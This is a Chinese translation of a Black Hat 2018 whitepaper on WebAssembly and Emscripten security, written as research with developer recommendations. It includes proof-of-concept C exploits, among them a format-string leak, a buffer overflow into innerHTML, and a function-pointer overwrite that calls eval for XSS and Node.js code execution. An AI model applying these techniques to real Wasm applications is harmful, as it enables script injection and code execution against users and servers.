WASM的安全性问题

WASM的安全性问题

十二月 23, 2018

最近看了一下 WASM , 看到一篇很好的文章 , 找空翻译了一下。

WASM的安全性问题

原文地址:

https://i.blackhat.com/us-18/Thu-August-9/us-18-Lukasiewicz-WebAssembly-A-New-World-of-Native_Exploits-On-The-Web-wp.pdf

Translated by : Processor
Special thanks for : Swing , Anciety

前言

WebAssembly是一项新技术,允许Web开发人员在具有接近本机性能的网页上运行C/C++。本文提供了WebAssembly的基本介绍,并研究了开发人员使用它可能带来的安全风险。这里将介绍几个探究WebAssembly理论的安全问题的示例。我们还介绍了Emscripten,它是目前最受欢迎的Web-Assembly编译器工具链。我们对Emscripten的评估包括其编译器和链接器级漏洞利用缓解的实现,其libc实现的内在加固,以及WASM的增强如何引入新的攻击向量和利用方法。我们还提供了Wasm环境中内存破坏漏洞的示例。在某些情况下,这些漏洞可能导致控制流劫持,甚至在网页中执行任意JavaScript。最后,我们为希望将WebAssembly集成到其产品中的开发人员提供了最佳实践和安全注意事项的基本概述。

1. 介绍

WebAssembly是由W3C社区组开发的一项新技术。WebAssembly允许开发人员将他们本机的C/C++代码带到浏览器,代码由最终用户以接近本机的性能运行。WebAssembly已经在所有主流浏览器的最新版本中得到广泛支持,目前正在许多基于Web的服务中被使用。值得注意的例子包括3D模型渲染,界面设计和可视化数据处理。 WebAssembly仍处于开发的早期阶段,开发人员很可能会在未来发现新的用法。

因此,安全研究人员和开发人员应该清楚地了解这种新技术的构建概念以及WebAssembly的安全隐患,毕竟本机代码通常与诸如Shellshock和Heartbleed,ROP链,格式字符串漏洞以及一长串漏洞,缓解措施以及用于规避这些缓解的技术等严重漏洞利用相关联。在我们脑子里浮现出0x90909090时,我们甚至可能会对在浏览器上进行原生利用的全新世界感到紧张(或者兴奋)。

我们的目标是提供WebAssembly的基本介绍,并简述开发人员使用它可能带来的实际安全风险。我们将介绍WebAssembly的低级语义,包括Javascript API,线性内存模型以及将表用作函数指针,以及几个研究WebAssembly的理论安全的示例。还有Emscripten,它是目前最流行的WebAssembly编译器工具链。我们对Emscripten的评估将包括其编译器和链接器级漏洞利用缓解的实现以及其libc实现的内部加固,以及它如何增强WebAssembly引入新的攻击向量和利用方法。作为其中的一部分,我们还将提供WebAssembly环境中的内存损坏漏洞利用示例。在某些情况下,这些漏洞可能导致控制流劫持,甚至在网页中执行任意JavaScript。
我们将为希望将WebAssembly集成到其产品中的开发人员提供最佳实践和安全注意事项的基本概述。我们还将为Emscripten的研究制定长期目标,这可以缓解本文中讨论的许多漏洞以及未来的漏洞。最后,我们讨论未来的研究内容。

2. WebAssemble 平台

2.1 简介

WebAssembly(Wasm)是一种机器语言(可能应该被命名为“WebBytecode”),被设计在有限的虚拟机上运行(想想JVM,而不是VMware)。然后可以将此虚拟机嵌入到其他程序(尤其是浏览器)中。Wasm虚拟机与程序或系统的其他部分隔离,只能通过特殊枚举的导入和导出与其宿主程序进行通信。大多数程序不会由作者直接在Wasm中编写,甚至也不会以用户友好的文本格式编写。其目标是把其他语言编译成Wasm。Wasm已经相对完整,可以让用户从低级语言中获得的许多功能。

2.2 功能

WebAssembly二进制文件是一系列操作代码(操作码)。在x86世界中,这些操作码由汇编代码表示,以便人们可以读取和理解它们。在WebAssembly世界中,这种人类可读的表示称为WebAssembly的文本格式。在文本格式中,WebAssembly代码由S表达式表示。通过使用官方的 WebAssembly Binary Toolkit,可以将S表达式直接编译到WebAssembly中,反之亦然。其他文本表达式同样可行,但在本文的其余部分我们将坚持使用S表达式。

WebAssembly中的基本代码单元是模块(Module)。WebAssembly的.Module对象包含无状态的WebAssembly代码,可以与Workers高效共享,在IndexedDB中缓存并多次实例化。WebAssembly二进制文件通常具有扩展名.wasm,由浏览器提取并编译到模块中。WebAssembly JavaScript API使用JavaScript函数包装导出的WebAssembly代码,可以像任何其他JavaScript函数一样调用这些函数。
我们来看看WebAssembly中的一个函数。

1
2
3
4
5
(module
(func $add (param $x i32) (param $y i32) (result i32) get_local $x
get_local $y
i32.add ) (export "add" (func $add))
)

WebAssembly最简单的形式是堆栈机器。它的所有算术运算都是通过从堆栈顶部弹出值,对它们执行某些操作,并将结果推送到堆栈顶部来完成的。当函数超出范围时,函数的返回值是堆栈顶部的任何值。 WebAssembly中定义的函数是可以导出的,并且在编译和实例化WebAssembly模块之后,可以通过JavaScript引用和调用导出的函数。上面的模块声明了一个函数,它接受两个参数,将它们加在一起,然后返回结果。 然后使用名称“add”导出此函数。

现在我们已经导出了WebAssembly函数,我们需要将它编译成二进制文件,并将其加载到JavaScript可使用的模块中。可以通过命令行应用程序wat2wasm,从WebAssembly Binary Toolkit创建.wasm文件。然后使用以下函数来获取文件并返回一个实例。实例是模块的单个运行副本。

1
2
3
4
5
6
7
8
function fetchAndInstantiate("/add.wasm", importObject) { 
return fetch(url).then(response => response.arrayBuffer()
).then(bytes =>
WebAssembly.instantiate(bytes, importObject)
).then(results =>
results.instance
);
}

2.3 线性寄存器模型

在WebAssembly的低级内存模型中,内存表示为一个连续的无类型字节范围,称为线性内存。可以通过WebAssembly的.Memory方法或WebAssembly通过JavaScript分配此内存。分配的内存量由开发人员决定,最小内存单位为页面(64 KB)。内存也动态的,因此可以根据需要通过memory的.grow方法进行扩展。

1

Figure 1: WASM指令通过索引来访问线性存储器和函数(来自函数表)。
线性内存的真实地址及其中的数据对WebAssembly是隐藏的。 换句话说,WebAssembly无法直接访问内存的内容。WebAssembly将在线性内存的索引处请求数据,浏览器负责确定实际地址。这是WebAssembly比C/C++等本地代码更安全的部分原因。就WebAssembly而言,浏览器上下文中的真实地址不存在。WebAssemly可以访问的唯一内存是线性内存缓冲区,任何访问它外部内存的操作都只会导致JavaScript内存超出的错误。但是,这并不意味着我们将无法使用编译的WebAssembly做一些有趣的事情!

2.4 WebAssembly中的函数指针

如上所述,WebAssembly中的所有函数都存在于WebAssembly内存之外的内存地址中。因此,拥有C/C++样式函数指针是不可能的; 但是,WebAssembly开发人员为编译器创建一种方法来实现与函数指针功能相似的功能。WebAssembly表是一个位于WebAssembly内存之外的数组。此数组中的值是对函数的引用。在内部,这些引用包含内存地址,但由于它不在WebAssembly的内存中,因此WebAssembly无法看到这些地址。但是,它确实可以访问数组索引。

call_indirect指令用于调用函数表中的函数,它将32位整数作为参数。该整数是函数表的索引。与线性存储器一样,函数表的索引通常从0开始,无论需要多少函数指针,函数表都会建立相应的索引。然后浏览器将调用指定索引引用的函数。

Figure 2: call_indirect从堆栈上弹出一个用于加载浏览器调用的函数的函数表索引。

3. Emscripten和实际漏洞利用场景

在这里,我们将深入介绍将本地C/C++代码转换为WASM字节码的过程,讨论Emscripten与本机编译器行为的比较,介绍当前使用的编译器级别漏洞利用缓解措施(如果有)及其有效性。我们将提供实际示例,演示如何在WebAssembly的上下文中利用不安全的本机代码。除非另有说明,否则所有示例均使用emsdk中的Emscripten 1.38.6。

3.1 流程概述

WebAssembly与x86程序集一样,提供了一个编译器可以构建的框架。构成WebAssembly的低级指令很少会被实际的Web开发人员看到。但是,开发人员会使用Emscripten编译C/C++代码,以便可以在其网页上运行。 Emscripten是一个开源的从LLVM到JavaScript的编译器。默认情况下,Emscripten生成.wasm文件和Javascript文件。Javascript文件设置执行.wasm文件中的指令所需的内存,导入和基础代码。C/C++编写的函数通过命令行参数导出,并且可以通过JavaScript调用导出的函数。Emscripten还提供了一个API,它由一系列函数组成,开发人员可以使用这些函数从C/C++代码中调用Javascript函数。这些函数通过emscripten.h库导入,并硬编码到每个编译的.wasm二进制文件中。正如我们将在后面的章节中所示,这些功能有可能被攻击者利用。

3.2 编译器/库级利用缓解

许多本地编译器实现了可以缓解常见漏洞的默认安全功能。其中许多漏洞不会直接转换为WebAssembly。但是,通过研究如何实现这些功能,我们可以深入了解Emscripten的优势和局限性(从安全角度来看)。

  • 地址空间布局随机化(ASLR): 线性寄存器的索引不仅在执行时保持不变,而且在编译时也保持不变。 ASLR在当前的线性寄存器模型上的实现将是非常困难的。Emscripten的API位于emscripten.h中,它还向开发人员公开了几个函数。这些函数由函数表中的索引引用。这些索引与线性寄存器的索引不同,也不能随机化。
  • Stack Canaries: 由于线性寄存器与真实指令地址分开,因此线性寄存器的边界不需要Canary保护。尝试访问分配的内存之外的索引将导致JavaScript内存超出界限错误。
  • 堆加固(Heap Hardening): 堆加固技术是用来缓解缓冲区溢出到元数据时可能导致的对free()之类的需要用到元数据的函数的操纵,从而造成任意写。常见的加固方法包括不可预测的分配以及对元数据的检验,例如链表指针以及块长度等。emscripten包含了经过稍微修改的(这样就可以不需要syscall来运行)的dlmalloc实现,来完成基本的unlink(),具有完全可以确定的分配位置以及没有包含任何真正的不基于assert的验证机制
  • 数据不可执行(DEP): 由于WebAssembly无法访问浏览器执行的低级指令,因此不需要DEP。
  • 针对不安全功能的警告: 测试表明无法在WebAssembly中编译已弃用的函数。Emscripten只会编译在C99中有效的函数。
  • Control Flow Integrity(CFI): 可以提供CFI检查的编译器可以保护被编译为WASM的代码。

3.3 可能出现的漏洞

凭借WebAssembly如何在较低级别工作的扎实基础知识,我们可以了解本地漏洞如何转换为网页。Web应用程序提供不同的攻击向量,针对攻击者的不同目标以及不同的用例。因此,许多经典的攻击是不能实现的。随着Web开发环境的不断变化,可能会引入新的漏洞利用链。本部分的目标是研究攻击者可能利用的一些漏洞。

3.3.1 整数溢出(Integer Overflows/underflows)

在WebAssembly中,有四种数据类型:

  • i32: 32-bit integer
  • i64: 64-bit integer
  • f32: 32-bit floating point
  • f64: 64-bit floating point

与C/C++一样,这些类型中的每一种都具有不同的属性,应该在特定情况下使用。Javascript不知道这些东西是什么。Javascript是一种高级,动态,弱类型和解释的编程语言,因此它能做的最好的事情就是将一个数字传递给WebAssembly代码。

JavaScript的数字可以时-2^53和2^53之间的任何值。32位整数可以取-2^31和2^31之间的任何值。在WebAssembly中,i32和i64整数本身不是有符号或无符号的,因此这些类型的解释由各个运算符决定。当算术运算尝试创建一个超出可以用给定位数表示的范围的数值时,结果是整数溢出。但是,更可能的情况是利用整数溢出来利用缓冲区溢出。 我们将在后面的部分中介绍WebAssembly中缓冲区溢出的后果。

3.3.2 格式化字符串(Format String attacks)

默认情况下,Emscripten的printf将信息打印到JavaScript控制台,似乎只是用于调试目的。当攻击者在调用printf或族中的其他函数,例如sprintf()时,控制格式指定的字符串时,可能能够直接对内存进行读写。 以下示例和输出演示了此操作。

1
2
3
4
5
6
7
8
#include <stdio.h>
#include <stdlib.h> 
#include <emscripten.h>

int main(int argc, const char *argv[])
{
char bof[] = "AAAA";
printf("%x.%x.%x.%x.%x.\n"); return 0;
}

运行结果为:

1
0.0.0.0.41414141.

存储在线性寄存器中的bof将打印到控制台。Emscripten的printf支持%n格式类型,允许攻击者写入数据,而不仅仅是读取数据。但是,尝试通过利用格式化字符串漏洞写入线性内存会引发JavaScript异常。例如,以下的代码和生成的异常。

1
2
3
4
5
6
7
8
9
#include <stdio.h> 
#include <stdlib.h>
#include <emscripten.h>
int main(int argc, const char *argv[])
{
char bof[] = "\x01";
printf("%x.%x.%x.%x.%n.\n");
return 0;
}

运行结果为:

1
uncaught exception: Runtime error: The application has corrupted its heap memory area (address zero)!

为了理解导致此错误的原因,必须对Emscripten的printf实现进行反向设计和调试。我们将此作为未来的研究方向。

3.3.3 基于堆栈的缓冲区溢出(Stack Based Buffer Over ows)

如WebAssembly文档中所述,如果模块尝试写入分配的线性内存边界之外的内存,则将抛出内存越界的错误异常并终止执行。但是,没有机制可以保护覆盖存储在线性寄存器中的变量。因此,在某些情况下,诸如strcpy之类的不安全函数可能允许攻击者覆盖局部变量。我们可以在以下示例中研究这个想法:bof0

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <emscripten.h>

EM_JS(void,overflowAlert,(),{
alert("overflow");
});

int main()
{
char bof0[] = "abc";
char bof1[] = "123";
strcpy(bof1,"BBBBBBB");
if(strcmp(bof0,"abc"))
overflowAlert();
return 0;
}

编译指令:

1
emcc bof0.c -o bof0.html’ and run with ’emrun bof0.html

这是一个经典的缓冲区溢出。因为bof0和bof1是连续存储的,所以我们可以用不安全的函数(如strcpy)写入bof1和bof0的边界。然而,这本身就可能是危险的,正如我们将在以下各节中所表明的那样,因为局部变量会导致其他更严重的可利用漏洞。

4. 一些新的利用方式

虽然在WebAssembly中无法实现与本地环境相关的许多利用技术和可能性,但是在网页中运行的本地代码中出现了新技术和可能性。一个特别有趣的新利用是通过Emscripten API向开发人员提供对DOM的引用。在某些情况下,不安全的C/C++代码可以让攻击者能够为DOM注入精心设计的输入。在安全领域,这称为跨站点脚本攻击(XXS)。

4.1 Buffer Over ow -> XXS

WebAssembly中的数据存储在线性内存中。Emscripten为WebAssembly提供线性内存的方法与GCC等编译器利用虚拟内存的方式大致相同。局部变量和全局变量存储在线性寄存器中的索引处。但是,与GCC不同的是,GCC不受解释环境的影响,因此Emscripten不会在此内存中存储返回地址,保存的基本指针或Canary。仅存储本地和全局变量等数据。从安全角度来看,这可以被视为一把双刃剑。一方面,溢出不会影响实际的指令地址。另一方面,存储在线性寄存器中的任何变量都有可能被覆盖,包括本地和全局变量。以下示例显示了这一点。

1
2
3
4
5
6
7
8
9
extern void bof(char *p1, char *p2)
{
char bof1[16];
char bof2[16];
strcpy(bof1,p1);
strcpy(bof2,p2);
EM_ASM({ document.getElementById("XXS").innerHTML =(Pointer_stringify($0,$1));
}, bof1,strlen(bof1));
}

在这个场景中,假设p1是一个硬编码的静态字符串,由JavaScript定义,p2是从GET或POST请求输入的。因为p1是静态的,所以开发人员不需要执行任何清理或编码,只需将该变量映射到DOM即可。但是,因为bof2容易受到缓冲区的影响并且与bo1连续存储,所以假定为静态的字符串可以被覆盖,用户输入将被写入DOM。这可能允许跨站点脚本攻击。

4.2 Indirect function calls -> XSS

作为SDK,Emscripten提供了一个C/C++ API,其中提供了JavaScript互操作性。emscripten.h中提供了这些有用的函数定义和宏的集合。Emscripten文档重点介绍了函数emscripten_run_script()以及用于从C或C++中调用JavaScript的宏EM_JS()和EM_ASM()。由于跨站点脚本消除了在受影响的JavaScript中运行的任何WebAssembly程序的安全性,因此保护这些函数和宏不被滥用等同于在传统环境下保护本机软件免于任意代码执行。可以首先检查emscripten_run_script()函数。

1
extern void emscripten_run_script(const char *script);

Emscripten C代码不包含此函数的实现,extern关键字表示它可能是从JavaScript导入的。检查Emscripten生成的JavaScript“glue code”确实验证了这种情况:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
# emscripten_run_script()的JavaScript实现和C / C ++的导入

function _emscripten_run_script(ptr)
{
eval(Pointer_stringify(ptr));
}

[...]

Module.asmLibraryArg =
{
"abort": abort,
"assert": assert,
"enlargeMemory": enlargeMemory,
"getTotalMemory": getTotalMemory,
"abortOnCannotGrowMemory": abortOnCannotGrowMemory,
"abortStackOverflow": abortStackOverflow,
"nullFunc_ii": nullFunc_ii,
"nullFunc_iiii": nullFunc_iiii,
"nullFunc_vi": nullFunc_vi,
"invoke_ii":invoke_ii,
"invoke_iiii": invoke_iiii,
"invoke_vi": invoke_vi,
"___lock": ___lock,
"___setErrNo": ___setErrNo,
"___syscall140": ___syscall140,
"___syscall146": ___syscall146,
"___syscall54": ___syscall54,
"___syscall6": ___syscall6,
"___unlock": ___unlock,
"_abort": _abort,
"_emscripten_memcpy_big": _emscripten_memcpy_big,
"_emscripten_run_script": _emscripten_run_script,
"flush_NO_FILESYSTEM": flush_NO_FILESYSTEM,
"DYNAMICTOP_PTR": DYNAMICTOP_PTR,
"tempDoublePtr": tempDoublePtr,
"ABORT": ABORT,
"STACKTOP": STACKTOP,
"STACK_MAX": STACK_MAX
};

这是一个简单地获取script字符串并在实例化WebAssembly应用程序的呈现网页中运行它的函数。因此,如果在浏览器中作为WebAssembly模块运行,以下简短的C程序将呈现JavaScript的alert:

1
2
3
4
5
#include <emscripten.h>

int main() 
{
emscripten_run_script("alert('Hello, world!');");
return 0;
}

如果攻击者可以控制传递给emscripten_run_script()的字符串,他们可以进行跨站点脚本攻击。但是,这不是利用此函数的唯一方法。回想一下,攻击者控制的函数指针可用于代码重用攻击。如果攻击者可以覆盖用于访问具有匹配函数名的函数的函数指针,并且还能够控制该函数所涉及的参数,则可以通过调用emscripten_run_script实现跨站点脚本攻击。 此攻击情形类似于覆盖函数指针调用system()以在传统libc环境中实现任意系统命令执行。 以下事例演示了emscripten生成的WebAssembly环境中的攻击:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#include <stdint.h>
#include <stdio.h>
#include <string.h>
#include <emscripten.h>

/* Represents a message and an output channel */
typedef struct Comms {
char msg[64];
uint16_t msg_len;
void (*out)(const char *);
} Comms;

/* Conduct the communication by calling the function pointer with message. */
void trigger(Comms *comms) {
comms->out(comms->msg);
}

void communicate(const char *msg) {
printf("%s", msg);
}

int main(void) {
Comms comms;
comms.out = &communicate;
printf("&communicate: %p\n", &communicate);
printf("&emscripten_run_script: %p\n", &emscripten_run_script); // 0x5
char *payload = "alert('XSS');// " // 16 bytes; "//" lets eval work
" " // + 16
" " // + 16
" " // + 16 to fill .msg = 64
" " // + 2 for alignment = 66
"\x40\x00" // + 2 bytes to fill .msg_len = 68
"\x05\x00\x00\x00";// + 4 bytes to overwrite .out= 72

memcpy(comms.msg, payload, 72);
emscripten_run_script("console.log('Porting my program to WASM!');");
trigger(&comms);
return 0;
}

使用emcc -o fn_ptr_xss.html fn_ptr_xss.c编译程序,它将生成les fn_ptr_xss.html,fn_ptr_xss.js和fn_ptr_xss.wasm。 使用本地Web服务器托管这些文件并访问fn_ptr_xss.html以查看是否调用了JavaScript的alert。

此示例提供了一个通信API,其中64字节消息及其通道在结构中表示。可以使用trigger()API函数触发通信。 如果驱动程序应用程序(在此示例中由main()表示)遇到缓冲区溢出,使得消息Comms.msg溢出到函数指针Comms.out中,则攻击者将能够调用任何可用的匹配函数名并提供任意字符串的函数。

函数main()演示了一个攻击者控制72字节数据(char * payload)通过不安全的memcpy()写入到通信结构中。 Payload由几部分组成:

  • 一个良好的JavaScript alert()调用,表示成功执行
  • 启动JavaScript行注释(//)以指示eval()忽略行中的其余字符,因为eval()否则会拒绝在其余有效Payload中找到的字节,从而无法执行
  • ASCII空格字符贯穿并超过可用于消息的预期64字节空间的末尾,包括两个额外的空格来计算内存中的struct成员对齐
  • 写入.msg_len的0x0040或64的小端表示(不是绝对必要的,但是这个例子想象一个使用消息长度而不是NUL终止字符串的API)
  • 0x00000005的小端表示,攻击者首选函数emscripten_-run_script()的索引,它覆盖.out原始函数指针值

Comms.out函数指针在WebAssembly二进制文件中表示一个指向接收const char 参数的void函数的指针,并由运行时环境强制执行,在调用时仍然为true。由于接收const char 参数的void函数值被重写为emscripten_run_script()的索引时,签名匹配条件仍然为真,Runtime check不检测修改的间接函数调用并允许它继续运行。因此,当调用comms-> out(comms-> msg)时,导致emscripten_run_script(comms-> msg),最终致使JavaScript通过eval()执行我们的payload而没有产生错误信息。

有几个因素可以削弱此攻击的可利用性。已经讨论了第一个: 攻击者必须控制函数指针值,指向函数必须具有与目标JavaScript互操作函数匹配的签名,并且它们必须使用它们的参数调用解除引用的函数,对函数施加足够的控制。这些条件的影响是现存的,但在WebAssembly程序中不太可能发生。还有另外两个要满足的条件,进一步降低了可能性: 目标JavaScript互操作性函数必须由C/C++代码调用,否则它们将在.wasm二进制文件中进行优化,而.wasm二进制文件必须通过LLVM控件流完整性检测。研究这些条件的限制和可用行,以通过函数指针来提高跨站点脚本攻击的可行性。

4.2.1 更多攻击方式

emscripten_run_script()有几个相近函数,他们有不同的功能。 与emscripten_run_script()一样,它们很可能不会被WebAssembly程序导入,除非它们被主动使用或明确配置为被包含在内。这些函数是:

  • int emscripten_run_script_int(const char *script)
  • char emscripten_run_script_string(const char script)
  • void emscripten_async_run_script(const char *script, int millis)
  • void emscripten_async_load_script(const char *script,
    em_callback_func onload,
    em_callback_func onerror)
    

如前所述,Emscripten提供了几种从C/C++调用JavaScript的方法。调用任意JavaScript的推荐方法是使用“内联JavaScript”和emscripten.h提供的EM_ASM *系列宏。之前的“hello world”示例可以重写为:

1
2
3
4
5
# hello-world-inline.c

#include <emscripten.h> int main()
{
EM_ASM(alert('Hello, world!');); return 0; }

在此代码上运行C预处理器会发现它调用了一个名为emscripten_asm_const_int()的函数:

1
2
3
4
5
6
[...]
# 2 "hello-world-inline.c" 2

int main()
{
((void)emscripten_asm_const_int("alert('Hello, world!');" )); return 0; }

emscripten_asm_const_int()和相关函数的原型存在于em_asm.h中,这是emscripten.h包含的头文件。em_asm.h包含函数原型和广泛的宏逻辑,用于在给定宏和内联JavaScript的情况下确定所需的函数名。

尽管预处理的输出看起来与emscripten_run_script()类似,但是最终的JavaScript实现是不同的。 Emscripten在其输出JavaScript文件中创建函数,包括内联代码,而不是使用eval()。这些函数通过一种命名方案来标定函数名。对于hello-world-inline.c示例,hello-world-inline.js文件具有以下内联alert()代码:

1
2
3
4
5
var ASM_CONSTS = [function() { alert('Hello, world!'); }];
function _emscripten_asm_const_i(code)
{
return ASM_CONSTS[code]();
}

可以看出,此函数作为提供给WebAssembly的导入对象,而WebAssembly文本则描述了对此类导入的期望:

1
(import "env" "_emscripten_asm_const_i" (func (;13;) (type 1)))

这种组合的结果是一个比使用emscripten_run_script()时更安全的结构。攻击者可能能够使用他们选择的参数调用这些内联代码派生函数,跨站点脚本不是固有的风险,因为不能确定eval()的存在。虽然开发人员可以使用内联JavaScript调用他们自己的eval(),或者触发执行脚本的其他函数,但不能保证仅通过使用这些宏来执行JavaScript的参数执行。

尽管默认情况下比emscripten_run_script()更安全,但是谨慎理解使用内联JavaScript宏可以轻松地转换为利用危险的函数指针覆盖目标,因为安全性的提升源于脚本执行时缺少动态运行时的数据。如果开发人员手动引入和exec()级别类似的函数 – 类似功能,从参数中获取数据并执行,那么它的存在将是危险的,就像存在emscripten_run_script()是危险的一样。

最典型的演示是使用带有内联JavaScript的eval()

编译最简单的C程序可以显示默认情况下Emscripten无条件地传递给WebAssembly环境的函数。

1
2
3
4
int main() 
{
return 0;
}

在使用文本格式编译上述C程序后,可以在文件透附近看到以下类型和导入的函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
(module
(type (;0;) (func (param i32 i32 i32) (result i32)))
(type (;1;) (func (param i32) (result i32)))
(type (;2;) (func (result i32)))
(type (;3;) (func (param i32)))
(type (;4;) (func (param i32 i32) (result i32)))
(type (;5;) (func (param i32 i32)))
(type (;6;) (func))
(type (;7;) (func (param i32 i32 i32 i32) (result i32)))

[...]

(import "env" "enlargeMemory" (func (;0;) (type 2)))
(import "env" "getTotalMemory" (func (;1;) (type 2)))
(import "env" "abortOnCannotGrowMemory" (func (;2;) (type 2)))
(import "env" "abortStackOverflow" (func (;3;) (type 3)))
(import "env" "nullFunc_ii" (func (;4;) (type 3)))
(import "env" "nullFunc_iiii" (func (;5;) (type 3)))
(import "env" "___lock" (func (;6;) (type 3)))
(import "env" "___setErrNo" (func (;7;) (type 3)))
(import "env" "___syscall140" (func (;8;) (type 4)))
(import "env" "___syscall146" (func (;9;) (type 4)))
(import "env" "___syscall54" (func (;10;) (type 4)))
(import "env" "___syscall6" (func (;11;) (type 4)))
(import "env" "___unlock" (func (;12;) (type 3)))
(import "env" "_emscripten_memcpy_big" (func (;13;) (type 0)))

[...]

与源C程序相比,导入函数列表较大,源程序执行返回作为其唯一的操作过程。这些函数将出现在Emscripten使用默认编译设置生成的所有WebAssembly模块中。可能会调用其中任何一个来代替具有匹配签名的另一个函数,以绕过条件,拒绝服务或以其他方式将程序状态更改为攻击者的优势。最有用的功能包括直接的JavaScript互操作性 - 跨站点脚本的路径。

Emscripten实现系统调用,来简化将软件移植到WebAssembly的过程。这些系统调用在JavaScript中实现,并提供不同程度的近似。例如,当C代码在Linux系统上调用printf()时,它会调用write(2)系统调用。 但是,由于WebAssembly环境中缺少此系统调用,因此必须提供该系统调用。Emscripten的printf()版本包括将字符打印到控制台,并在Web环境中打印到HTML页面上显示的模拟终端以及JavaScript控制台。

由于系统调用在传统操作系统环境中通过内核呈现,因此应审查默认的模拟WebAssembly系统调用来确认可利用性。 Emscripten工具链提供的系统调用实现是:

  • __syscall6: close
  • __syscall54: ioctl
  • __syscall140: llseek
  • __syscall146: writev

在这些系统调用中,它们都不允许通过eval()直接执行JavaScript,或者通过document.write()等方法编辑DOM或调用元素的innerHTML()方法。然而,writev()的系统调用可能会通过不安全的方式映射到Emscripten的Module [‘print’]的函数。如果将Module [‘print’]替换为执行其他操作的代码,则Emscripten的源代码非常适合用于HTML编码字符:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
var Module = {
preRun: [], postRun: [],
print: (function() {
var element = document.getElementById('output');
if (element) element.value = ''; // clear browser cache
return function(text) {
if (arguments.length > 1)
text = Array.prototype.slice.call(arguments).join(' ');
// These replacements are necessary if you render to raw HTML
//text = text.replace(/&/g, "&amp;");
//text = text.replace(/</g, "&lt;").replace(/>/g, "&gt;");
//text = text.replace('\n', '<br>', 'g');
console.log(text);
if (element) {
element.value += text + "\n";
element.scrollTop = element.scrollHeight; // focus on bottom
}
};
})(),

[...]

此函数中的元素是文本。直接设置其值不允许利用跨站点脚本,因此该实现默认是安全的。

滥用syscall146或默认情况下可用的其他系统调用可能会导致特定的安全问题,但这些函数并不容易访问任意JavaScript执行的路径。

除了系统调用之外,Emscripten默认还为WebAssembly程序提供了几个其他功能:

  • enlargeMemory()
  • getTotalMemory()
  • abortOnCannotGrowMemory()
  • abortStackOverflow()
  • nullFunc_ii()
  • nullFunc_iiii()
  • nullFunc_vi()
  • ___lock()
  • ___setErrNo()
  • unlock()
  • _abort()
  • _emscripten_memcpy_big()

与系统调用实现函数一样,这些导入都不是JavaScript执行的直接路径,尽管其中一些可能在WebAssembly中很强大。

4.3 服务器端远程执行代码(Server-side Remote Code Execution)

间接调用在Node.js中也是可行的。考虑之前的示例,将原Payload替换为使用console.log()的Payload,以便它在Node的stdout中可见。

1
2
3
4
5
6
char *payload = "console.log('>>>"  // 16 bytes "Server side code" // + 16
" execution!');//" // + 16; '//' lets eval() work
" " // + 16 to fill .msg = 64
" " // + 2 for alignment = 66
"\x40\x00" // + 2 bytes to fill .msg_len = 68
"\x05\x00\x00\x00"; // + 4 bytes to overwrite .out = 72

将更改的C程序编译为JavaScript模块(emcc -o fn_ptr_code_exec.js fn_ptr_xss.c)
并使用Node(node fn_ptr_code_exec.js)运行它并观察以下输出:

1
2
3
&communicate: 0x4 
&emscripten_run_script: 0x5
Porting my program to WASM! >>>Server side code execution!

正如Payload,这里的安全影响大于浏览器中的安全影响; 我们有一个服务器端代码执行,而不是跨站点脚本。

5. 结论

本文提供了WebAssembly的基本介绍,并检查了开发人员使用它可能带来的实际安全风险。Emscripten是目前最流行的WebAssembly编译器工具链,它在Web页面的上下文中提供了一种新的C/C++实现。虽然在Emscripten编译的WASM环境中无法实现许多本机漏洞和攻击,但开发人员不能允许WASM声称的内存安全性使其陷入虚假的安全感。在本节中,我们为希望将WebAssembly集成到其产品中的开发人员提供了最佳实践和安全注意事项的基本概述。

5.1 Emscripten开发团队

  • 处理用户污染输出: 在浏览器级别,如果JavaScript引擎可以检测并编码任何看起来来自WASM的输出,那么本文中表示的许多攻击都将被阻止。然而,这将是非常困难的,因为它可能需要通过JavaScript引擎携带受WASM污染的信号。此外,浏览器必须理解正在注入的WASM污染的上下文并进行适当的转义/编码。逻辑上更可行的方案是从C/C++引用DOM时向开发人员发出警告。
  • HeapHardening: 当前基于dlmalloc的实现应该被替换为具有安全性的方案,例如Blink的PartitionAlloc。

5.2 Emscripten开发人员

  • 遵循最佳C/C++编程规则: 开发人员应该意识到WASM仍处于开发的最初阶段,并且在未来几年内可能会发现更多问题。为本地编译建立的所有规则都是相关的,并且在编译为WebAssembly时应遵循这些规则。在WASM中和在本机代码中一样严肃对待C语言安全问题。
  • 避免emscripten_run_script: 从WASM中动态执行JavaScript是一种危险的模式。如果存在类型混淆或溢出到函数指针等问题,那么这些函数的存在将允许漏洞利用代码直接执行JavaScript。
  • 使用Clang的CFI编译时,使用Clang的Control Integrity flag(-fsanitize = c)可以防止某些函数指针操作问题。
  • 使用优化可以删除一些可以用于涉及函数指针操作的漏洞的编译器的构建功能。

5.3 未来的研究

在网页上运行本地代码的实现打开了一个漏洞利用场景的新世界。虽然本文为WebAssembly漏洞搜索奠定了基础,但仍存在许多进一步的研究机会。

  • Emscripten的堆实现: 逆向工程Emscripten的堆实现将解决许多关于堆元数据损坏,double free漏洞,use after free漏洞以及许多其他基于堆的本地漏洞。
  • 定时攻击和侧信道: 由于硬件侧通道攻击最近风靡一时,留意有多少额外Wasm利用可以应用于涉及严格时序要求的攻击。此外,使用Wasm可能会引入新的计时攻击和侧信道。
  • 线程,条件竞争等: 我们无法研究在Wasm上进行多种程序化编程的性能。竞争条件,检查时间/使用时间(TOCTOU)以及C代码中存在的类似错误可能会延续到Wasm编译中。目前尚不清楚Wasm的实施本身是否会在这方面存在缺陷。